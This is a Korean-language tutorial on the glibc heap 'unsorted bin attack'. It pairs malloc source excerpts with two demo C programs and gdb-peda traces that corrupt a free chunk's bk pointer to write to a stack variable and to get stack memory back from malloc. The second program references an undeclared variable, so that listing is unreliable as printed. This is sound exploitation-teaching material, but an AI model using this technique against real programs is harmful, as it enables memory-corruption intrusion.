Excuse the ads! We need some help to keep our site up.
List
Unsorted bin attack
Unsorted bin attack을 이해하기 위해서는 malloc()이 unsorted bin에 등록된 chunk를 재할당 할때 해당 chunk를 unsorted bin의 list에서 삭제하는 방식에 대해 이해가 필요합니다.
- 메모리 할당을 malloc()에 요청하면, 할당자는 요청한 메모리의 크기가 fast bin, small bin, large bin에서 사용 가능한 chunk가 있는지 확인합니다.
할당자는 해당 bins에서 사용가능한 chunk를 찾지 못하면, unsorted_chunks (av)->bk가 가지고 있는 값과 unsorted_chunks (av)의 반환값이 다른 값인지 확인합니다.
이 값들이 서로 다르다면 Unsorted bin에는 free chunk가 있다는 것을 나타냅니다.
Unsorted bin에 free chunk가 있다면 unsorted_chunks->bk의 값을 victim에 저장합니다.
그리고 victim->bk가 가지고 있는 데이터는 bck에 저장합니다.
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk;
- unsorted_chunks (av)은 bin_at()를 호출여 반환된 값을 반환합니다.
- bin_at()는 main_arena.bin[0]의 주소에서 16을 뺀 값을 반환합니다.
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */ #define unsorted_chunks(M) (bin_at (M, 1))
/* addressing -- note that bin_at(0) does not exist */ #define bin_at(m, i) \ (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \ - offsetof (struct malloc_chunk, fd))
- 할당자는 Unsorted list에 배치된 chunk를 재할당 한후, chunk를 unsorted list에서 삭제할 때 bck가 가지고 있는 데이터를 main_arena.bin[0]->bk에 저장합니다.
- 그리고 할당자는 unsorted_chunks()이 반환한 값을 bck→fd에 저장합니다.
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
예를 들어 다음과 같이 unsorted_chunks (av)가 반환한 값이 0x7ffff7dd1b78이고, unsorted_chunks (av)->bk의 값은 0x602000입니다.
- 두 값은 서로 다르기 때문에 할당자는 "0x602000->bk"에 보관된 주소(0x00007ffff7dd1b78)를 bck에 저장합니다.
- 그리고 할당자는 unsorted list에 있는 chunk를 재할당합니다.
- 해당 chunk를 unsorted list에서 제거하기 위해 할당자는 "bck"에 보관된 주소(0x00007ffff7dd1b78)를 unsorted_chunks (av)->bk에 저장합니다.
- 그리고 unsorted_chunks(av)가 반환한 값(0x7ffff7dd1b78)은 bck→fd에 저장합니다.
Unsorted bin attack은 할당자가 Unsorted list에서 chunk를 삭제하기 전에, free chunk의 bk에 값을 덮어써서 원하는 영역에 main_arena의 주소("&main_arena.bin[0] - 16")를 저장하는 기술입니다.
공격자가 stack 주소(0x7fffffffe248)를 Unsorted list에 등록된 chunk의 "bk"에 덮어쓰면, 할당자는 bck에 보관된 주소가 0x7fffffffe248이기 때문에 unsorted_chunks()가 반환한 주소를 bck→fd(0x7fffffffe258)에 저장합니다.
Example
Example1
- 다음 코드는 state에 0을 저장하고, 크키가 130byte인 메모리 2개 할당받고 처음 할당받은 메모리를 해제합니다.
- "((char*)&state) - 16"을 연산한 값을 buf1[1]에 저장한 후 크기가 130byte인 메모리 할당을 요청합니다.
- 그리고 "state"에 값이 있다면 메시지를 출력합니다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(){ unsigned long long state = 0; fprintf(stderr,"Stack : %p\n", &state); unsigned long long *buf1 = malloc(130); char *buf2 = malloc(500); free(buf1); buf1[1] = (unsigned long long)(((char*)&state) - 16); buf1 = malloc(130); if(state){ fprintf(stderr,"Hello world!\n"); } }
- 0x4006ec, 0x4006fa에서 할당된 메모리의 주소를 확인합니다.
- 0x40070a에서 Unsorted bin의 list에 등록된 chunk의 fd,bk의 데이터를 확인합니다.
- 0x40071a에서 Unsorted bin attack을 위해 free chunk의 bk에 덮어쓰여진 값을 확인합니다.
- 0x400727에서 main_arena의 주소가 stack에 저장되어 있는지 확인합니다.
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin Reading symbols from ./unsorted_bin...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004006a6 <+0>: push rbp 0x00000000004006a7 <+1>: mov rbp,rsp 0x00000000004006aa <+4>: sub rsp,0x20 0x00000000004006ae <+8>: mov rax,QWORD PTR fs:0x28 0x00000000004006b7 <+17>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006bb <+21>: xor eax,eax 0x00000000004006bd <+23>: mov QWORD PTR [rbp-0x20],0x0 0x00000000004006c5 <+31>: mov rax,QWORD PTR [rip+0x200994] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004006cc <+38>: lea rdx,[rbp-0x20] 0x00000000004006d0 <+42>: mov esi,0x4007f4 0x00000000004006d5 <+47>: mov rdi,rax 0x00000000004006d8 <+50>: mov eax,0x0 0x00000000004006dd <+55>: call 0x400570 <fprintf@plt> 0x00000000004006e2 <+60>: mov edi,0x82 0x00000000004006e7 <+65>: call 0x400580 <malloc@plt> 0x00000000004006ec <+70>: mov QWORD PTR [rbp-0x18],rax 0x00000000004006f0 <+74>: mov edi,0x1f4 0x00000000004006f5 <+79>: call 0x400580 <malloc@plt> 0x00000000004006fa <+84>: mov QWORD PTR [rbp-0x10],rax 0x00000000004006fe <+88>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400702 <+92>: mov rdi,rax 0x0000000000400705 <+95>: call 0x400540 <free@plt> 0x000000000040070a <+100>: mov rax,QWORD PTR [rbp-0x18] 0x000000000040070e <+104>: lea rdx,[rax+0x8] 0x0000000000400712 <+108>: lea rax,[rbp-0x20] 0x0000000000400716 <+112>: sub rax,0x10 0x000000000040071a <+116>: mov QWORD PTR [rdx],rax 0x000000000040071d <+119>: mov edi,0x82 0x0000000000400722 <+124>: call 0x400580 <malloc@plt> 0x0000000000400727 <+129>: mov QWORD PTR [rbp-0x18],rax 0x000000000040072b <+133>: mov rax,QWORD PTR [rbp-0x20] 0x000000000040072f <+137>: test rax,rax 0x0000000000400732 <+140>: je 0x400752 <main+172> 0x0000000000400734 <+142>: mov rax,QWORD PTR [rip+0x200925] # 0x601060 <stderr@@GLIBC_2.2.5> 0x000000000040073b <+149>: mov rcx,rax 0x000000000040073e <+152>: mov edx,0xd 0x0000000000400743 <+157>: mov esi,0x1 0x0000000000400748 <+162>: mov edi,0x400800 0x000000000040074d <+167>: call 0x400590 <fwrite@plt> 0x0000000000400752 <+172>: mov eax,0x0 0x0000000000400757 <+177>: mov rcx,QWORD PTR [rbp-0x8] 0x000000000040075b <+181>: xor rcx,QWORD PTR fs:0x28 0x0000000000400764 <+190>: je 0x40076b <main+197> 0x0000000000400766 <+192>: call 0x400550 <__stack_chk_fail@plt> 0x000000000040076b <+197>: leave 0x000000000040076c <+198>: ret End of assembler dump. gdb-peda$ b *0x00000000004006ec Breakpoint 1 at 0x4006ec gdb-peda$ b *0x00000000004006fa Breakpoint 2 at 0x4006fa gdb-peda$ b *0x000000000040070a Breakpoint 3 at 0x40070a gdb-peda$ b *0x000000000040071a Breakpoint 4 at 0x40071a gdb-peda$ b *0x0000000000400727 Breakpoint 5 at 0x400727 gdb-peda$
- 프로그램은 같은 크기의 메모리를 2개 할당받았습니다.
- 각 메모리의 주소는 0x602010, 0x6020a0 입니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Book/unsorted_bin Stack : 0x7fffffffe450 Breakpoint 1, 0x00000000004006ec in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004006fa in main () gdb-peda$ i r rax rax 0x6020a0 0x6020a0 gdb-peda$
할당받은 첫번째 메모리(0x602010)의 해제를 free()에 요청하면, 해당 chunk가 unsorted list에 배치됩니다.
"(char*)&main_arena.bins[0] - 16"가 해당 chunk의 fd, bk에 저장됩니다.
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040070a in main () gdb-peda$ p main_arena.bins[0] $1 = (mchunkptr) 0x602000 gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 gdb-peda$ x/4gx 0x00007ffff7dd1b78 0x7ffff7dd1b78 <main_arena+88>: 0x0000000000602290 0x0000000000000000 0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602000 0x0000000000602000 gdb-peda$ c Continuing.
- Unsorted bin attack를 위해 stack 영역의 주소를 ree chunk의 bk에 저장합니다.
Breakpoint 4, 0x000000000040071a in main () gdb-peda$ x/i $rip => 0x40071a <main+116>: mov QWORD PTR [rdx],rax gdb-peda$ i r rdx rdx 0x602018 0x602018 gdb-peda$ i r rdx rax rdx 0x602018 0x602018 rax 0x7fffffffe440 0x7fffffffe440 gdb-peda$ ni 0x000000000040071d in main () gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd1b78 0x00007fffffffe440 gdb-peda$ x/4gx 0x00007fffffffe440 0x7fffffffe440: 0x00007fffffffe550 0x000000000040070a 0x7fffffffe450: 0x0000000000000000 0x0000000000602010 gdb-peda$
Unsorted list에 배치된 chunk를 할당받기 위해 malloc()에 메모리 할당을 요청합니다.
메모리 할당 후에 "&main_arena[0] - 16"이 변수"state"(0x7fffffffe450)에 저장되었습니다.
- 변수 "state"가 가지고 있는 값이 0이 아니기 때문에 화면에 메시지를 출력합니다.
Breakpoint 5, 0x0000000000400727 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x602000 gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd1b78 0x00007fffffffe440 gdb-peda$ p main_arena.bins[1] $3 = (mchunkptr) 0x7fffffffe440 gdb-peda$ x/4gx 0x00007fffffffe440 0x7fffffffe440: 0x00007fffffffe470 0x0000000000400727 0x7fffffffe450: 0x00007ffff7dd1b78 0x0000000000602010 gdb-peda$ c Continuing. Hello world! [Inferior 1 (process 124614) exited normally] Warning: not running gdb-peda$
Example2
이 코드는 "Unsorted_bin.c"와 기본적인 동작은 동일합니다.
다른 부분은 Fake chunk의 주소를 bck→fd에 저장한다는 것입니다.
fake chunk의 크기를 stack_var[0]에 저장되고, 변수 stack_var의 주소(fd)를 stack_var[2]에 저장합니다.
stack_var의 주소에서 8뺀 주소를 buf1[1]에 저장합니다.
- buf1[1]는 bck→fd입니다.
- 프로그램은 malloc()에게 Unsorted bin의 list에 있는 청크와 동일한 크기의 메모리 할당을 요청합니다.
- 그리고 malloc()에게 다시 메모리 할당을 요청합니다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(){ unsigned long long stack_var[3] = {0}; fprintf(stderr,"Stack : %p\n", &state); unsigned long long *buf1 = malloc(130); char *buf2 = malloc(500); free(buf1); stack_var[0] = 0x90; stack_var[2] = (unsigned long long)stack_var; buf1[1] = (unsigned long long)(((char*)&stack_var) - 8); buf1 = malloc(130); char *buf3 = malloc(130); read(STDIN_FILENO,buf3,130); }
0x40071a에서 Unsorted list에 등록된 chunk와 Stack에 생성된 Fake chunk를 확인합니다.
0x40073a에서 free chunk의 bk를 덮어쓰는 값을 확인합니다.
0x400747, 0x400755에서 Unsorted bin의 변화와 반환된 pointer를 확인합니다.
0x40076a에서 malloc()으로 부터 할당된 메모리가 사용이 가능한지 확인합니다.
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin_into_stack Reading symbols from ./unsorted_bin_into_stack...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004006a6 <+0>: push rbp 0x00000000004006a7 <+1>: mov rbp,rsp 0x00000000004006aa <+4>: sub rsp,0x40 0x00000000004006ae <+8>: mov rax,QWORD PTR fs:0x28 0x00000000004006b7 <+17>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006bb <+21>: xor eax,eax 0x00000000004006bd <+23>: mov QWORD PTR [rbp-0x20],0x0 0x00000000004006c5 <+31>: mov QWORD PTR [rbp-0x18],0x0 0x00000000004006cd <+39>: mov QWORD PTR [rbp-0x10],0x0 0x00000000004006d5 <+47>: mov rax,QWORD PTR [rip+0x200984] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004006dc <+54>: lea rdx,[rbp-0x20] 0x00000000004006e0 <+58>: mov esi,0x400814 0x00000000004006e5 <+63>: mov rdi,rax 0x00000000004006e8 <+66>: mov eax,0x0 0x00000000004006ed <+71>: call 0x400580 <fprintf@plt> 0x00000000004006f2 <+76>: mov edi,0x82 0x00000000004006f7 <+81>: call 0x400590 <malloc@plt> 0x00000000004006fc <+86>: mov QWORD PTR [rbp-0x38],rax 0x0000000000400700 <+90>: mov edi,0x1f4 0x0000000000400705 <+95>: call 0x400590 <malloc@plt> 0x000000000040070a <+100>: mov QWORD PTR [rbp-0x30],rax 0x000000000040070e <+104>: mov rax,QWORD PTR [rbp-0x38] 0x0000000000400712 <+108>: mov rdi,rax 0x0000000000400715 <+111>: call 0x400540 <free@plt> 0x000000000040071a <+116>: mov QWORD PTR [rbp-0x20],0x90 0x0000000000400722 <+124>: lea rax,[rbp-0x20] 0x0000000000400726 <+128>: mov QWORD PTR [rbp-0x10],rax 0x000000000040072a <+132>: mov rax,QWORD PTR [rbp-0x38] 0x000000000040072e <+136>: lea rdx,[rax+0x8] 0x0000000000400732 <+140>: lea rax,[rbp-0x20] 0x0000000000400736 <+144>: sub rax,0x8 0x000000000040073a <+148>: mov QWORD PTR [rdx],rax 0x000000000040073d <+151>: mov edi,0x82 0x0000000000400742 <+156>: call 0x400590 <malloc@plt> 0x0000000000400747 <+161>: mov QWORD PTR [rbp-0x38],rax 0x000000000040074b <+165>: mov edi,0x82 0x0000000000400750 <+170>: call 0x400590 <malloc@plt> 0x0000000000400755 <+175>: mov QWORD PTR [rbp-0x28],rax 0x0000000000400759 <+179>: mov rax,QWORD PTR [rbp-0x28] 0x000000000040075d <+183>: mov edx,0x82 0x0000000000400762 <+188>: mov rsi,rax 0x0000000000400765 <+191>: mov edi,0x0 0x000000000040076a <+196>: call 0x400560 <read@plt> 0x000000000040076f <+201>: mov eax,0x0 0x0000000000400774 <+206>: mov rcx,QWORD PTR [rbp-0x8] 0x0000000000400778 <+210>: xor rcx,QWORD PTR fs:0x28 0x0000000000400781 <+219>: je 0x400788 <main+226> 0x0000000000400783 <+221>: call 0x400550 <__stack_chk_fail@plt> 0x0000000000400788 <+226>: leave 0x0000000000400789 <+227>: ret End of assembler dump. gdb-peda$ b *0x000000000040071a Breakpoint 1 at 0x40071a gdb-peda$ b *0x000000000040073a Breakpoint 2 at 0x40073a gdb-peda$ b *0x0000000000400747 Breakpoint 3 at 0x400747 gdb-peda$ b *0x0000000000400755 Breakpoint 4 at 0x400755 gdb-peda$ b *0x000000000040076a Breakpoint 5 at 0x40076a gdb-peda$
- 프로그램은 malloc()에 2개의 메모리 할당을 요청하고 첫번째 메모리를 해제합니다.
- 해제된 메모리(0x602000)는 Unsorted list에 배치됩니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Book/unsorted_bin_into_stack Stack : 0x7fffffffe430 Breakpoint 1, 0x000000000040071a in main () gdb-peda$ p main_arena.bins[0] $1 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[1] $2 = (mchunkptr) 0x602000 gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 gdb-peda$ x/4gx 0x00007ffff7dd1b78 0x7ffff7dd1b78 <main_arena+88>: 0x0000000000602290 0x0000000000000000 0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602000 0x0000000000602000 gdb-peda$
- Unsorted bin attack를 통해 메모리(Stack)를 할당받기 위해서는 Stack에 Free chunk와 같은 형태의 Fake chunk가 필요합니다.
- 프로그램은 Fake chunk를 만들기 위해 stack_var[0](0x7fffffffe430)에 0x90을 저장하고, stack_var[2](0x7fffffffe440)에 stack_var의 주소를 저장합니다.
- 0x7fffffffe430는 Fake chunk의 size가 되고, 0x7fffffffe440는 Fake chunk의 bk가 됩니다.
gdb-peda$ x/3i $rip => 0x40071a <main+116>: mov QWORD PTR [rbp-0x20],0x90 0x400722 <main+124>: lea rax,[rbp-0x20] 0x400726 <main+128>: mov QWORD PTR [rbp-0x10],rax gdb-peda$ i r rbpx rbp 0x7fffffffe450 0x7fffffffe450 gdb-peda$ p/x 0x7fffffffe450 - 0x20 $3 = 0x7fffffffe430 gdb-peda$ ni 0x0000000000400722 in main () gdb-peda$ 0x0000000000400726 in main () gdb-peda$ x/i $rip => 0x400726 <main+128>: mov QWORD PTR [rbp-0x10],rax gdb-peda$ i r rbp rbp 0x7fffffffe450 0x7fffffffe450 gdb-peda$ p/x 0x7fffffffe450 - 0x10 $8 = 0x7fffffffe440 gdb-peda$ i r rax rax 0x7fffffffe430 0x7fffffffe430 gdb-peda$ ni 0x000000000040072a in main () gdb-peda$ x/4gx 0x7fffffffe430 0x7fffffffe430: 0x0000000000000090 0x0000000000000000 0x7fffffffe440: 0x00007fffffffe430 0x1fe450c974875300 gdb-peda$
- main_arena.bins[0]->bk(0x602018)에 fake chunk의 주소(0x7fffffffe428)를 저장합니다.
- 이로 인해 main_arena.bins[0]->bk에 저장된 데이터는 fake chunk의 주소(0x7fffffffe428)가 됩니다.
gdb-peda$ c Continuing. Breakpoint 2, 0x000000000040073a in main () gdb-peda$ x/i $rip => 0x40073a <main+148>: mov QWORD PTR [rdx],rax gdb-peda$ i r rdx rax rdx 0x602018 0x602018 rax 0x7fffffffe428 0x7fffffffe428 gdb-peda$ x/4gx 0x7fffffffe428 0x7fffffffe428: 0x0000000000000000 0x0000000000000090 0x7fffffffe438: 0x0000000000000000 0x00007fffffffe430 gdb-peda$ p &main_arena.bins[0]->bk $11 = (struct malloc_chunk **) 0x602018 gdb-peda$ ni 0x000000000040073d in main () gdb-peda$ p main_arena.bins[0]->bk $4 = (struct malloc_chunk *) 0x7fffffffe428 gdb-peda$ ni 0x000000000040073d in main () gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd1b78 0x00007fffffffe428 gdb-peda$
- 크기가 130byte인 메모리 할당을 malloc()에 요청하면 할당자는 Unsorted list에 배치된 chunk를 재할당 합니다.
- 할당자는 메모리를 재할당한 후에 Unsorted list에서 해당 chunk를 제거하고, Unsorted bin의 list를 갱신합니다.
- 이로 인해 Fake chunk의 주소가 main_arena.bins[1]에 저장됩니다.
- 그리고 다시 한번 같은 크기의 메모리 할당을 요청하면 stack 메모리(0x7fffffffe438)를 반환합니다.
- 해당 주소는 Fake chunk→fd의 주소입니다.
gdb-peda$ p main_arena.bins[1] $14 = (mchunkptr) 0x602000 gdb-peda$ c Continuing. Breakpoint 3, 0x0000000000400747 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.bins[0] $6 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[1] $7 = (mchunkptr) 0x7fffffffe428 gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400755 in main () gdb-peda$ i r rax rax 0x7fffffffe438 0x7fffffffe438 gdb-peda$ x/4gx 0x7fffffffe438 0x7fffffffe438: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x7fffffffe448: 0x33834f49afabc500 0x0000000000400790 gdb-peda$ p main_arena.bins[1] $20 = (mchunkptr) 0x7fffffffe430 gdb-peda$
- 할당받은 stack 메모리에 값을 저장할 수 있습니다.
gdb-peda$ c Continuing. Breakpoint 5, 0x000000000040076a in main () gdb-peda$ i r rsi rsi 0x7fffffffe438 0x7fffffffe438 gdb-peda$ ni AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD 0x000000000040076f in main () gdb-peda$ x/4gx 0x7fffffffe438 0x7fffffffe438: 0x4141414141414141 0x4242424242424242 0x7fffffffe448: 0x4343434343434343 0x4444444444444444 gdb-peda$